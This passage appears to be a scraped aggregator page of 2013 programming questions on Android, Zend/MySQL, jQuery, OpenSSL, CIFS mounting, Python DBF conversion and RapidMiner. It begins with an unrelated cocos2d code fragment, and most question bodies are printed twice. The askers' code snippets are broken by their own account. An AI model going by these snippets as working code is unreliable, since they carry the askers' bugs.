[super dealloc];
}
@end
Second layer
// TitleLayer.m
#import "TitleLayer.h"
#import "CompetitiveScene.h"
#import "cocos2d.h"
@interface TitleLayer()
-(void) createButtons;
-(void) createTitle;
@end
@implementation TitleLayer
-(id) init
{
if( (self=[super init])) {
// enable events
#ifdef __IPHONE_OS_VERSION_MAX_ALLOWED
self.touchEnabled = YES;
self.accelerometerEnabled = YES;
#elif defined(__MAC_OS_X_VERSION_MAX_ALLOWED)
self.mouseEnabled = YES;
mysql and zend db table problems with select the max id of each user
mysql and zend db table problems with select the max id of each user
I am having some mysql problems, using zend db table..i want to select the
last entry in a place for each user, i have got a table called checkin,
wich register the user, the place where the user enters, the datatime of
the entry...im using zend framework and zend db table.. so my table
checkins has this info id_checkin |id_utilizador|id_tag|data_leitura
|data_receberescrita
7 |20 |74 |2013-08-27 12:30:00 |2013-08-27 12:35:10
8 |20 |75 |2013-08-27 16:17:00 |2013-08-14 16:18:00
9 |16 |74 |2013-08-27 16:30:00 |2013-08-27 16:35:10
i want to show the date on a jqgrid.. the result that i am trying to
achieve is to appear the info of the id_checkin 8 and 9.
I am having some mysql problems, using zend db table..i want to select the
last entry in a place for each user, i have got a table called checkin,
wich register the user, the place where the user enters, the datatime of
the entry...im using zend framework and zend db table.. so my table
checkins has this info id_checkin |id_utilizador|id_tag|data_leitura
|data_receberescrita
7 |20 |74 |2013-08-27 12:30:00 |2013-08-27 12:35:10
8 |20 |75 |2013-08-27 16:17:00 |2013-08-14 16:18:00
9 |16 |74 |2013-08-27 16:30:00 |2013-08-27 16:35:10
i want to show the date on a jqgrid.. the result that i am trying to
achieve is to appear the info of the id_checkin 8 and 9.
Reading from assets gives null pointer
Reading from assets gives null pointer
I hava a file in the assets folder that i want to access in a class ive
named StorageManager (just a regular class, doesnt extend anything)
public class StorageManager {
private Context context;
public StorageManager(Context context){
this.context=context;
}
public String readFileAsString(String filePath) throws
java.io.IOException {
AssetManager am = context.getAssets();
InputStream is = am.open(filePath);
String results = "";
int data = is.read();
while (data !=-1) {
results += (char)data;
data = is.read();
}
is.close();
return results;
}
}
Im creating an instance of this class within a ListFragment and passing
getActivity() as the context
However when i make a call to readFileAsString with a valid filePath I get
a NullPointerException for the line:
AssetManager am = context.getAssets();
Im assuming that means the context is null. But why? How do I fix this?
EDIT
filePath = "url" (the file is saved wth no extension in the assets folder)
But it doesnt get to the line where that is required, the file is opened
after the NullPointerError
The constructor is called within a class that extends ListFragment:
StorageManager storage = new StorageManager(getActivity());
I hava a file in the assets folder that i want to access in a class ive
named StorageManager (just a regular class, doesnt extend anything)
public class StorageManager {
private Context context;
public StorageManager(Context context){
this.context=context;
}
public String readFileAsString(String filePath) throws
java.io.IOException {
AssetManager am = context.getAssets();
InputStream is = am.open(filePath);
String results = "";
int data = is.read();
while (data !=-1) {
results += (char)data;
data = is.read();
}
is.close();
return results;
}
}
Im creating an instance of this class within a ListFragment and passing
getActivity() as the context
However when i make a call to readFileAsString with a valid filePath I get
a NullPointerException for the line:
AssetManager am = context.getAssets();
Im assuming that means the context is null. But why? How do I fix this?
EDIT
filePath = "url" (the file is saved wth no extension in the assets folder)
But it doesnt get to the line where that is required, the file is opened
after the NullPointerError
The constructor is called within a class that extends ListFragment:
StorageManager storage = new StorageManager(getActivity());
How to make database on server?
How to make database on server?
I want to learn how to make android app which will be connected to
database on server. Can you help me to find some info about it. How to
create DB on server, how to make connection to it, how to sent and get
data from it, which technology will i use? I will be glad any usefull
information. Thank you for attention
I want to learn how to make android app which will be connected to
database on server. Can you help me to find some info about it. How to
create DB on server, how to make connection to it, how to sent and get
data from it, which technology will i use? I will be glad any usefull
information. Thank you for attention
Tuesday, August 27, 2013
why row automatic deleted from profile table in rails after some time
why row automatic deleted from profile table in rails after some time
i don't know how it is working but after update Row from profile table
which linked to Member table is deleted !
Before some time :
Member.find(18).profile
was returning result now it return empty !
i don't know how it is working but after update Row from profile table
which linked to Member table is deleted !
Before some time :
Member.find(18).profile
was returning result now it return empty !
How to draw polyline across Pacific ocean (-180/180 point) using WPF bing maps control?
How to draw polyline across Pacific ocean (-180/180 point) using WPF bing
maps control?
Polyline with following locations:
var locations = new LocationCollection()
{
new Location(0, 160),
new Location(5, 170),
new Location(9.5, 179.999),
new Location(10.5, -179.999),
new Location(15, -170),
new Location(20, -160)
};
Causes control to to draw line across whole globe instead of just pacific
(because of wrapping globes i guess) but is there workaround over that?!
Thanks!
maps control?
Polyline with following locations:
var locations = new LocationCollection()
{
new Location(0, 160),
new Location(5, 170),
new Location(9.5, 179.999),
new Location(10.5, -179.999),
new Location(15, -170),
new Location(20, -160)
};
Causes control to to draw line across whole globe instead of just pacific
(because of wrapping globes i guess) but is there workaround over that?!
Thanks!
OpenSSL and TLS 1.1 and TLS 1.2 - should i update?
OpenSSL and TLS 1.1 and TLS 1.2 - should i update?
Debian 6s openssl from apt-get is still on 0.9.8 (2010) and doesnt support
TLS 1.1 and TLS 1.2. Is there anything why i should not update to the
latest stable 1.0.1e ? Or, which build would u recommend with TLS 1.1/2
support.
Debian 6s openssl from apt-get is still on 0.9.8 (2010) and doesnt support
TLS 1.1 and TLS 1.2. Is there anything why i should not update to the
latest stable 1.0.1e ? Or, which build would u recommend with TLS 1.1/2
support.
Get Jquery value of Dropdownlist in User control created dinamically in placeholder
Get Jquery value of Dropdownlist in User control created dinamically in
placeholder
I have a user control that contain a DropdownList. I use this user control
in a web form using a placeholder. I create this user control dynamically
I need to know, how can I get the selected value in the placeholder from
the dropdownlist in JQuery when the dropdownlist change (Postback)? This
is my user control:
<%@ Control Language="C#" AutoEventWireup="true"
CodeBehind="IVT_DropDownList.ascx.cs"
Inherits="Evi.Sc.Web.Evi.IVT.Sublayouts.IVT_DropDownList" %>
<asp:DropDownList ID="DropDownList" runat="server" AutoPostBack="True">
</asp:DropDownList>
This is the place holder:
<asp:PlaceHolder ID="plhStatusClient" runat="server"></asp:PlaceHolder>
This is the codebehind:
IVT_DropDownList UC_StatusClients =
(IVT_DropDownList)LoadControl("~/Evi/IVT/Sublayouts/IVT_DropDownList.ascx");
IvtStatusClient ivtStatusClient = new IvtStatusClient();
//Get the database to retrieve the information of the status
var lstStatusClients = ivtStatusClient.Get_AllStatusClients();
UC_StatusClients.DataSource = lstStatusClients;
UC_StatusClients.InsertFirstRow = new ListItem("All", "0");
plhStatusClient.Controls.Add(UC_StatusClients);
I'm trying with this , but doesn't works.
$("#plhStatusClient").val()
placeholder
I have a user control that contain a DropdownList. I use this user control
in a web form using a placeholder. I create this user control dynamically
I need to know, how can I get the selected value in the placeholder from
the dropdownlist in JQuery when the dropdownlist change (Postback)? This
is my user control:
<%@ Control Language="C#" AutoEventWireup="true"
CodeBehind="IVT_DropDownList.ascx.cs"
Inherits="Evi.Sc.Web.Evi.IVT.Sublayouts.IVT_DropDownList" %>
<asp:DropDownList ID="DropDownList" runat="server" AutoPostBack="True">
</asp:DropDownList>
This is the place holder:
<asp:PlaceHolder ID="plhStatusClient" runat="server"></asp:PlaceHolder>
This is the codebehind:
IVT_DropDownList UC_StatusClients =
(IVT_DropDownList)LoadControl("~/Evi/IVT/Sublayouts/IVT_DropDownList.ascx");
IvtStatusClient ivtStatusClient = new IvtStatusClient();
//Get the database to retrieve the information of the status
var lstStatusClients = ivtStatusClient.Get_AllStatusClients();
UC_StatusClients.DataSource = lstStatusClients;
UC_StatusClients.InsertFirstRow = new ListItem("All", "0");
plhStatusClient.Controls.Add(UC_StatusClients);
I'm trying with this , but doesn't works.
$("#plhStatusClient").val()
android invoking activity from a multi-column listview
android invoking activity from a multi-column listview
Within my project I have an activity with a multi-column ListView. This
ListView draws its data from a custom CursorAdapter that I've implemented
in a separate java module. I have listeners on a couple of the views
within the ListView's rows, and these are implemented within the
CursorAdapter. One of the listeners needs to edit the view content that
called it and save the data back to the underlying database. This editing
needs to startActivityForResult (as a custom dialog). However I get an
error as an activity can only be invoked from another activity. I have
tried moving the startActivityForResult to a procedure in the parent
activity, but this has then to be a static procedure to be called from the
listener and I get an error as startActivityForResult can't be in a static
process. Te error is "The method startActivityForResult(Intent, int) is
undefined for the type new View.OnClickListener(){}"
Has anyone a process for invoking an activity from a view listener where
the view in a row element of a ListView?
The code below is the process I'm using in my CursorAdapter.
public class CustomCursorAdapter extends CursorAdapter {
protected static class RowViewHolder {
public Button btnLap;
public TextView tvTime;
}
public CustomCursorAdapter(Context context, Cursor c) {
super(context, c);
}
@Override
public View newView(Context context, Cursor cursor, ViewGroup parent) {
LayoutInflater inflater = LayoutInflater.from(parent.getContext());
View retView = inflater.inflate(R.layout.single_row_item, parent, false);
RowViewHolder holder = new RowViewHolder();
holder.btnLap = (Button) retView.findViewById(R.id.btn_lap);
holder.tvTime = (TextView) retView.findViewById(R.id.tv_time);
holder.btnLap.setOnClickListener(btnLapOnClickListener);
holder.tvTime.setOnClickListener(tvTimeOnClickListener);
retView.setTag(holder);
return retView;
}
...
private OnClickListener tvTimeOnClickListener = new OnClickListener() {
@Override
public void onClick(View v) {
TextView tv = (TextView) v;
String strTime = tv.getText().toString();
Intent intentTimeEdit = new Intent(getBaseContext(),
TimeEditDialog.class);
intentTimeEdit.putExtra("Time", strTime);
startActivityForResult(intentTimeEdit, EDIT_TIME_REQUEST_CODE);
}
};
Within my project I have an activity with a multi-column ListView. This
ListView draws its data from a custom CursorAdapter that I've implemented
in a separate java module. I have listeners on a couple of the views
within the ListView's rows, and these are implemented within the
CursorAdapter. One of the listeners needs to edit the view content that
called it and save the data back to the underlying database. This editing
needs to startActivityForResult (as a custom dialog). However I get an
error as an activity can only be invoked from another activity. I have
tried moving the startActivityForResult to a procedure in the parent
activity, but this has then to be a static procedure to be called from the
listener and I get an error as startActivityForResult can't be in a static
process. Te error is "The method startActivityForResult(Intent, int) is
undefined for the type new View.OnClickListener(){}"
Has anyone a process for invoking an activity from a view listener where
the view in a row element of a ListView?
The code below is the process I'm using in my CursorAdapter.
public class CustomCursorAdapter extends CursorAdapter {
protected static class RowViewHolder {
public Button btnLap;
public TextView tvTime;
}
public CustomCursorAdapter(Context context, Cursor c) {
super(context, c);
}
@Override
public View newView(Context context, Cursor cursor, ViewGroup parent) {
LayoutInflater inflater = LayoutInflater.from(parent.getContext());
View retView = inflater.inflate(R.layout.single_row_item, parent, false);
RowViewHolder holder = new RowViewHolder();
holder.btnLap = (Button) retView.findViewById(R.id.btn_lap);
holder.tvTime = (TextView) retView.findViewById(R.id.tv_time);
holder.btnLap.setOnClickListener(btnLapOnClickListener);
holder.tvTime.setOnClickListener(tvTimeOnClickListener);
retView.setTag(holder);
return retView;
}
...
private OnClickListener tvTimeOnClickListener = new OnClickListener() {
@Override
public void onClick(View v) {
TextView tv = (TextView) v;
String strTime = tv.getText().toString();
Intent intentTimeEdit = new Intent(getBaseContext(),
TimeEditDialog.class);
intentTimeEdit.putExtra("Time", strTime);
startActivityForResult(intentTimeEdit, EDIT_TIME_REQUEST_CODE);
}
};
OpenGL changing VBO data occasionally
OpenGL changing VBO data occasionally
I have a VBO for vertexes that compose a quad on screen, and I'd like to
change it when the programmer requests an image resizing.
It won't be changing frequently, it's only when (and if) someone requests
the image resize, so I don't think I should use GL_STREAM_DRAW. The VBO
will also be already loaded when this function is called.
How can I get the VBO data and change only a few values?
I have a VBO for vertexes that compose a quad on screen, and I'd like to
change it when the programmer requests an image resizing.
It won't be changing frequently, it's only when (and if) someone requests
the image resize, so I don't think I should use GL_STREAM_DRAW. The VBO
will also be already loaded when this function is called.
How can I get the VBO data and change only a few values?
Monday, August 26, 2013
Shortcodes: Return different based on atts
Shortcodes: Return different based on atts
I have the following shortcode for pullquotes:
//Pullquote shortcode
function pullQuotes($atts, $content = null) {
extract(shortcode_atts(array(
"author" => ''
), $atts));
return '<blockquote>'.$content.'<p class="quote-author">' . $author .
'</p> </blockquote>';
}
add_shortcode("pullquote", "pullQuotes");
Basically I dont want the paragraph containing the $author attribute to be
returned if there is no author set (ie: the default '' value).
Any ideas?
I have the following shortcode for pullquotes:
//Pullquote shortcode
function pullQuotes($atts, $content = null) {
extract(shortcode_atts(array(
"author" => ''
), $atts));
return '<blockquote>'.$content.'<p class="quote-author">' . $author .
'</p> </blockquote>';
}
add_shortcode("pullquote", "pullQuotes");
Basically I dont want the paragraph containing the $author attribute to be
returned if there is no author set (ie: the default '' value).
Any ideas?
jQuery Ajax Call to JSON not working in IE.
jQuery Ajax Call to JSON not working in IE.
I've got this code, I'm doing a ajax jquery call to json... It works in
everything but IE.
jQuery.ajax({
url: "/session/json.php",
type: "GET",
data: "",
success: function(data) {
I did some googling and I changed it to
jQuery.ajax({
url: "/session/json.php",
dataType: "json",
cache: false,
contentType: "application/json",
type: "GET",
data: "",
success: function(data) {
And Yay, it worked in IE.
However making that change broke it in all the other browsers.
I then tried:
if (jQuery.browser.msie) {
Do the bottom one, else { do the top one.
This also did not work, it seemed to work in all browsers apart from IE
again.
Has anyone else come across this error? any ideas how to fix it?
Thanks heaps.
I've got this code, I'm doing a ajax jquery call to json... It works in
everything but IE.
jQuery.ajax({
url: "/session/json.php",
type: "GET",
data: "",
success: function(data) {
I did some googling and I changed it to
jQuery.ajax({
url: "/session/json.php",
dataType: "json",
cache: false,
contentType: "application/json",
type: "GET",
data: "",
success: function(data) {
And Yay, it worked in IE.
However making that change broke it in all the other browsers.
I then tried:
if (jQuery.browser.msie) {
Do the bottom one, else { do the top one.
This also did not work, it seemed to work in all browsers apart from IE
again.
Has anyone else come across this error? any ideas how to fix it?
Thanks heaps.
ASP.NET multiple charts
ASP.NET multiple charts
I have multiple ( four ) <asp:chart> on a webpage.
On the first load of the page the top 2 get loaded. On
refreshing/reloading the page all of them get loaded.
Furthermore, on IE 10 /11, none of them get loaded, no matter how much I try.
I tried in web.config to use as storage file, session. Also tried
deleteAfterServicing=false.
Any ideas would be helpful. I will update the question with further
details if necessary.
I have multiple ( four ) <asp:chart> on a webpage.
On the first load of the page the top 2 get loaded. On
refreshing/reloading the page all of them get loaded.
Furthermore, on IE 10 /11, none of them get loaded, no matter how much I try.
I tried in web.config to use as storage file, session. Also tried
deleteAfterServicing=false.
Any ideas would be helpful. I will update the question with further
details if necessary.
Innos A35 screen lock
Innos A35 screen lock
My phone lock pattern is locked, I had disabled GPRS, WiFi and Bluetooth.
USB Debug mode had been disabled too, what should I do?
My phone lock pattern is locked, I had disabled GPRS, WiFi and Bluetooth.
USB Debug mode had been disabled too, what should I do?
imagettftext, font doesn't have & sign, how to use different font for it or how to show it?
imagettftext, font doesn't have & sign, how to use different font for it
or how to show it?
First of all is it possible to do that? If font doesn't have & sign and I
need to show it, is it possible like in css to use extra font for those
characters? Because of & sign it is showing empty space. I tried to use &
and & instead & sign(I have used and only & sign), but still nothing
helped. Maybe you have any idea, how to do that with imagettftext ? Thanks
in advance
or how to show it?
First of all is it possible to do that? If font doesn't have & sign and I
need to show it, is it possible like in css to use extra font for those
characters? Because of & sign it is showing empty space. I tried to use &
and & instead & sign(I have used and only & sign), but still nothing
helped. Maybe you have any idea, how to do that with imagettftext ? Thanks
in advance
Shared tooltip with multiple stacks
Shared tooltip with multiple stacks
I've implemented a stacked column chart with 4 series divided over 2
stacks. I want to create a tooltip for each stack that only shows info for
the series that belong to that stack. When I use shared: true option for
the tooltip formatter function, I get all the series in the
$.each(this.points, function(i, point) {}) loop.
How can I create a tooltip for each stack, while still having access to
all the series in the stack?
Any advice is appreciated.
I've implemented a stacked column chart with 4 series divided over 2
stacks. I want to create a tooltip for each stack that only shows info for
the series that belong to that stack. When I use shared: true option for
the tooltip formatter function, I get all the series in the
$.each(this.points, function(i, point) {}) loop.
How can I create a tooltip for each stack, while still having access to
all the series in the stack?
Any advice is appreciated.
Navigation lists, inline and with spacing
Navigation lists, inline and with spacing
i have a navigation bar and i want to be on one line it does this however
there is only one space between each item, i want them to be spaced
equally out, and flexible, so that when i change the window size they
adjust.
this is my html
<div class="navigation">
<div class="navhead">
<h2>Navigation</h2>
</div>
<div class="navlist">
<ul>
<li><a href="Home Page.html">Home</a></li>
<li>Chat</li>
<li>Blog</li>
</ul>
</div>
</div>
and this is my css
.navlist li{
text-decoration: none;
color: #000000;
list-style-type: none;
display: inline;
text-indent: 10%;
}
i have a navigation bar and i want to be on one line it does this however
there is only one space between each item, i want them to be spaced
equally out, and flexible, so that when i change the window size they
adjust.
this is my html
<div class="navigation">
<div class="navhead">
<h2>Navigation</h2>
</div>
<div class="navlist">
<ul>
<li><a href="Home Page.html">Home</a></li>
<li>Chat</li>
<li>Blog</li>
</ul>
</div>
</div>
and this is my css
.navlist li{
text-decoration: none;
color: #000000;
list-style-type: none;
display: inline;
text-indent: 10%;
}
Sunday, August 25, 2013
Batch conversion of .dbf to .csv in Python
Batch conversion of .dbf to .csv in Python
I have ~300 folders with 9 .dbf files and 2 non .dbf files. I am trying to
use os.walk to find all .dbf files in a folder and then a for loop to
convert each .dbf file to a .csv file. I don't need to touch the non .dbf
files.
I was able to do a single file conversion with the dbfpy module but am
having issues scaling it up to a batch process.
My code below is based on code from here.
import csv
from dbfpy import dbf
import os
path = r"\Documents\House\DBF"
destpath = r"\Documents\House\CSV"
for root, dirnames, filenames in os.walk(path):
for filename in filenames:
if filename.endswith('.DBF'):
dbf.Dbf(filename)
out_csv = csv.writer(open(filename[:-4]+csv, 'wb'))
names = []
for field in filename.header.fields:
names.append(field.name)
out_csv.writerow(names)
for rec in filename:
out_csv.writerow(rec.fieldData)
filename.close()
I am getting the following error on the first .dbf file found:
mdr dbf.DBF
Traceback (most recent call last):
File "C:\Users\Stephen\workspace\convertDBF\src\xml2csv.py", line 13, in
<module>
dbf.Dbf(filename)
File "C:\Anaconda\lib\site-packages\dbfpy\dbf.py", line 125, in __init__
self.stream = file(f, ("r+b", "rb")[bool(readOnly)])
IOError: [Errno 2] No such file or directory: 'mdr dbf.DBF'
It's saying the file is in use in Python. I am not just concerned about
this error as I believe the code has greater issues beyond this.
I have ~300 folders with 9 .dbf files and 2 non .dbf files. I am trying to
use os.walk to find all .dbf files in a folder and then a for loop to
convert each .dbf file to a .csv file. I don't need to touch the non .dbf
files.
I was able to do a single file conversion with the dbfpy module but am
having issues scaling it up to a batch process.
My code below is based on code from here.
import csv
from dbfpy import dbf
import os
path = r"\Documents\House\DBF"
destpath = r"\Documents\House\CSV"
for root, dirnames, filenames in os.walk(path):
for filename in filenames:
if filename.endswith('.DBF'):
dbf.Dbf(filename)
out_csv = csv.writer(open(filename[:-4]+csv, 'wb'))
names = []
for field in filename.header.fields:
names.append(field.name)
out_csv.writerow(names)
for rec in filename:
out_csv.writerow(rec.fieldData)
filename.close()
I am getting the following error on the first .dbf file found:
mdr dbf.DBF
Traceback (most recent call last):
File "C:\Users\Stephen\workspace\convertDBF\src\xml2csv.py", line 13, in
<module>
dbf.Dbf(filename)
File "C:\Anaconda\lib\site-packages\dbfpy\dbf.py", line 125, in __init__
self.stream = file(f, ("r+b", "rb")[bool(readOnly)])
IOError: [Errno 2] No such file or directory: 'mdr dbf.DBF'
It's saying the file is in use in Python. I am not just concerned about
this error as I believe the code has greater issues beyond this.
mount error(13): Permission denied
mount error(13): Permission denied
I know this question has been asked before, but Ive been looking for a
solution for a couple of hours now and nothing seems to be working.
The furstrating thing is that is used to work on my previous install, so I
know the commands I try should work..
I'm running a vanilla install of Ubuntu 13.04 server.
I have a server running @ 192.168.1.130 and two shares: LaCie and Seagate
2TB.
I used to have these lines in my fstab file:
//192.168.1.130/Seagate\0402TB /home/Windows cifs
user=admin,password=password,uid=1000 0 0
Now that I reinstalled my server, but don't need it permanently I tried
the following:
sudo mount.cifs //192.168.1.130/LaCie ~/lacie -o user=admin
or
sudo mount -t cifs -o username='admin',password='<password>'
//192.168.1.130/LaCie ~/lacie
I'm sure the credentials etc are correct. Nothing has changed at the
windows side.
Also, I installed the packages "samba", "cifs-utils" too. Nothing helped.
I know this question has been asked before, but Ive been looking for a
solution for a couple of hours now and nothing seems to be working.
The furstrating thing is that is used to work on my previous install, so I
know the commands I try should work..
I'm running a vanilla install of Ubuntu 13.04 server.
I have a server running @ 192.168.1.130 and two shares: LaCie and Seagate
2TB.
I used to have these lines in my fstab file:
//192.168.1.130/Seagate\0402TB /home/Windows cifs
user=admin,password=password,uid=1000 0 0
Now that I reinstalled my server, but don't need it permanently I tried
the following:
sudo mount.cifs //192.168.1.130/LaCie ~/lacie -o user=admin
or
sudo mount -t cifs -o username='admin',password='<password>'
//192.168.1.130/LaCie ~/lacie
I'm sure the credentials etc are correct. Nothing has changed at the
windows side.
Also, I installed the packages "samba", "cifs-utils" too. Nothing helped.
Flattening a list of strings, got a solution but don't know why this works
Flattening a list of strings, got a solution but don't know why this works
Sorry for the vague question, but it's because I really don't understand
why this works the way it does. I found a solution for my problem here.
The thing is, my answer was exactly the same, except for (checkio(x)), I
had just (x).
So instead of this (working solution):
def checkio(data):
new_list = []
for x in data:
if type(x) == list:
new_list.extend(checkio(x))
else:
new_list.append(x)
return new_list
I had:
def checkio(data):
new_list = []
for x in data:
if type(x) == list:
new_list.extend(x)
else:
new_list.append(x)
return new_list
Why doesn't that work? Why do I need to reference to the function itself?
What is checkio(x) exactly?
Sorry for the vague question, but it's because I really don't understand
why this works the way it does. I found a solution for my problem here.
The thing is, my answer was exactly the same, except for (checkio(x)), I
had just (x).
So instead of this (working solution):
def checkio(data):
new_list = []
for x in data:
if type(x) == list:
new_list.extend(checkio(x))
else:
new_list.append(x)
return new_list
I had:
def checkio(data):
new_list = []
for x in data:
if type(x) == list:
new_list.extend(x)
else:
new_list.append(x)
return new_list
Why doesn't that work? Why do I need to reference to the function itself?
What is checkio(x) exactly?
LINQ error with DBNull
LINQ error with DBNull
I have a few null values in my database (wich is correct and normal)
But when I try to use LINQ I get an InvaledCastException: Converion from
type 'DBNull' to type 'String' is not valid.
How can I resolve this? I don't even get it why it throw that error, when
I use a dataview instead o the LINQ, it works perfect.
I have a few null values in my database (wich is correct and normal)
But when I try to use LINQ I get an InvaledCastException: Converion from
type 'DBNull' to type 'String' is not valid.
How can I resolve this? I don't even get it why it throw that error, when
I use a dataview instead o the LINQ, it works perfect.
Saturday, August 24, 2013
how to get the checked contact from listview?
how to get the checked contact from listview?
i want to save the contacts from a list view wen i check my check box. i
am new to android i Google and found that view holder is used but didn't
understand it properly please tell me how can i get all checked contacts.
Thanks.
package com.example.assignmentapp;
import android.app.Activity;
import android.app.ListActivity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.support.v4.widget.SimpleCursorAdapter;
import android.util.Log;
import android.widget.CheckBox;
import android.widget.ListView;
public class ContactActivity extends Activity
{
ListView listContacts;
CheckBox checkbox;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.contact_list);
String[] projection = new String[]
{ContactsContract.CommonDataKinds.Phone._ID,
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
ContactsContract.CommonDataKinds.Phone.NUMBER};
// Get content provider and cursor
ContentResolver cr = getContentResolver();
Cursor cursor =
cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,projection,
null, null, null);
// Let activity manage the cursor
startManagingCursor(cursor);
Log.d("", "cursor.getCount()=" + cursor.getCount());
// Get the list view
ListView listView = (ListView) findViewById(android.R.id.list);
String[] from = { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME};
int[] to = { R.id.text1};
SimpleCursorAdapter adapter;
adapter=new SimpleCursorAdapter(this, R.layout.row, cursor,from,to);
listView.setAdapter(adapter);
checkbox=(CheckBox)findViewById(R.id.checkbox1);
}
}
i want to save the contacts from a list view wen i check my check box. i
am new to android i Google and found that view holder is used but didn't
understand it properly please tell me how can i get all checked contacts.
Thanks.
package com.example.assignmentapp;
import android.app.Activity;
import android.app.ListActivity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.support.v4.widget.SimpleCursorAdapter;
import android.util.Log;
import android.widget.CheckBox;
import android.widget.ListView;
public class ContactActivity extends Activity
{
ListView listContacts;
CheckBox checkbox;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.contact_list);
String[] projection = new String[]
{ContactsContract.CommonDataKinds.Phone._ID,
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
ContactsContract.CommonDataKinds.Phone.NUMBER};
// Get content provider and cursor
ContentResolver cr = getContentResolver();
Cursor cursor =
cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,projection,
null, null, null);
// Let activity manage the cursor
startManagingCursor(cursor);
Log.d("", "cursor.getCount()=" + cursor.getCount());
// Get the list view
ListView listView = (ListView) findViewById(android.R.id.list);
String[] from = { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME};
int[] to = { R.id.text1};
SimpleCursorAdapter adapter;
adapter=new SimpleCursorAdapter(this, R.layout.row, cursor,from,to);
listView.setAdapter(adapter);
checkbox=(CheckBox)findViewById(R.id.checkbox1);
}
}
Simple drag and drop code
Simple drag and drop code
Im struggling with seemingly a simple javascript exercise, writing a
vanilla drag and drop. I think Im making a mistake with my
'addeventlisteners', here is the code:
var ele = document.getElementsByClassName ("target")[0];
var stateMouseDown = false;
//ele.onmousedown = eleMouseDown;
ele.addEventListener ("onmousedown" , eleMouseDown , false);
function eleMouseDown () {
stateMouseDown = true;
document.addEventListener ("onmousemove" , eleMouseMove , false);
}
function eleMouseMove (ev) {
do {
var pX = ev.pageX;
var pY = ev.pageY;
ele.style.left = pX + "px";
ele.style.top = pY + "px";
document.addEventListener ("onmouseup" , eleMouseUp , false);
} while (stateMouseDown === true);
}
function eleMouseUp () {
stateMouseDown = false;
document.removeEventListener ("onmousemove" , eleMouseMove , false);
document.removeEventListener ("onmouseup" , eleMouseUp , false);
}
Im struggling with seemingly a simple javascript exercise, writing a
vanilla drag and drop. I think Im making a mistake with my
'addeventlisteners', here is the code:
var ele = document.getElementsByClassName ("target")[0];
var stateMouseDown = false;
//ele.onmousedown = eleMouseDown;
ele.addEventListener ("onmousedown" , eleMouseDown , false);
function eleMouseDown () {
stateMouseDown = true;
document.addEventListener ("onmousemove" , eleMouseMove , false);
}
function eleMouseMove (ev) {
do {
var pX = ev.pageX;
var pY = ev.pageY;
ele.style.left = pX + "px";
ele.style.top = pY + "px";
document.addEventListener ("onmouseup" , eleMouseUp , false);
} while (stateMouseDown === true);
}
function eleMouseUp () {
stateMouseDown = false;
document.removeEventListener ("onmousemove" , eleMouseMove , false);
document.removeEventListener ("onmouseup" , eleMouseUp , false);
}
Reusing pickle brine
Reusing pickle brine
So I just finished a jar of home-made pickles. They were excellent! Not
too salty, a bit spicy, very good. They were so good that I'd like to get
some more pickles out of that jar. I was thinking of pickling some eggs in
that same brine. Is reusing brine ever done? Are there any reasons I
shouldn't do it? I've never heard of this being done, but I don't see why
not.
So I just finished a jar of home-made pickles. They were excellent! Not
too salty, a bit spicy, very good. They were so good that I'd like to get
some more pickles out of that jar. I was thinking of pickling some eggs in
that same brine. Is reusing brine ever done? Are there any reasons I
shouldn't do it? I've never heard of this being done, but I don't see why
not.
RapidMiner : Where/how is the Store (Model) operator connected in this process flow
RapidMiner : Where/how is the Store (Model) operator connected in this
process flow
I have created a process flow within RapidMiner that utilizes some loops.
I'm not exactly sure where my Store Model operator should be connected to,
in order to save the model parameters derived through this process to be
in a new process.
The attached example has my data replaced with some sample data, however
the rest of the process is what I have for my actual data set.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<process version="5.3.012">
<context>
<input/>
<output/>
<macros/>
</context>
<operator activated="true" class="process" compatibility="5.3.012"
expanded="true" name="Process">
<process expanded="true">
<operator activated="true" class="retrieve" compatibility="5.3.012"
expanded="true" height="60" name="Retrieve Sonar" width="90" x="45"
y="30">
<parameter key="repository_entry" value="//Samples/data/Sonar"/>
</operator>
<operator activated="true" class="numerical_to_binominal"
compatibility="5.3.012" expanded="true" height="76" name="Numerical
to Binominal" width="90" x="179" y="30">
<parameter key="attribute_filter_type" value="single"/>
<parameter key="attribute" value="20_OV_COVER"/>
</operator>
<operator activated="true" class="set_role" compatibility="5.3.012"
expanded="true" height="76" name="Set Role" width="90" x="45"
y="120">
<parameter key="attribute_name" value="class"/>
<parameter key="target_role" value="label"/>
<list key="set_additional_roles"/>
</operator>
<operator activated="true" class="normalize" compatibility="5.3.012"
expanded="true" height="94" name="Normalize" width="90" x="179"
y="120"/>
<operator activated="true" class="nominal_to_numerical"
compatibility="5.3.012" expanded="true" height="94" name="Nominal to
Numerical (2)" width="90" x="45" y="210">
<list key="comparison_groups"/>
</operator>
<operator activated="true" class="replace_missing_values"
compatibility="5.3.012" expanded="true" height="94" name="Replace
Missing Values" width="90" x="179" y="210">
<list key="columns"/>
</operator>
<operator activated="true" class="independent_component_analysis"
compatibility="5.3.012" expanded="true" height="94" name="ICA"
width="90" x="313" y="210">
<parameter key="number_of_components" value="700"/>
</operator>
<operator activated="true" class="optimize_selection_forward"
compatibility="5.3.012" expanded="true" height="94" name="Forward
Selection" width="90" x="514" y="75">
<parameter key="maximal_number_of_attributes" value="100"/>
<parameter key="speculative_rounds" value="10"/>
<process expanded="true">
<operator activated="true" class="x_validation"
compatibility="5.3.012" expanded="true" height="112"
name="Validation" width="90" x="112" y="30">
<parameter key="number_of_validations" value="5"/>
<process expanded="true">
<operator activated="true" class="naive_bayes"
compatibility="5.3.012" expanded="true" height="76"
name="Naive Bayes" width="90" x="112" y="30"/>
<connect from_port="training" to_op="Naive Bayes"
to_port="training set"/>
<connect from_op="Naive Bayes" from_port="model"
to_port="model"/>
<portSpacing port="source_training" spacing="0"/>
<portSpacing port="sink_model" spacing="0"/>
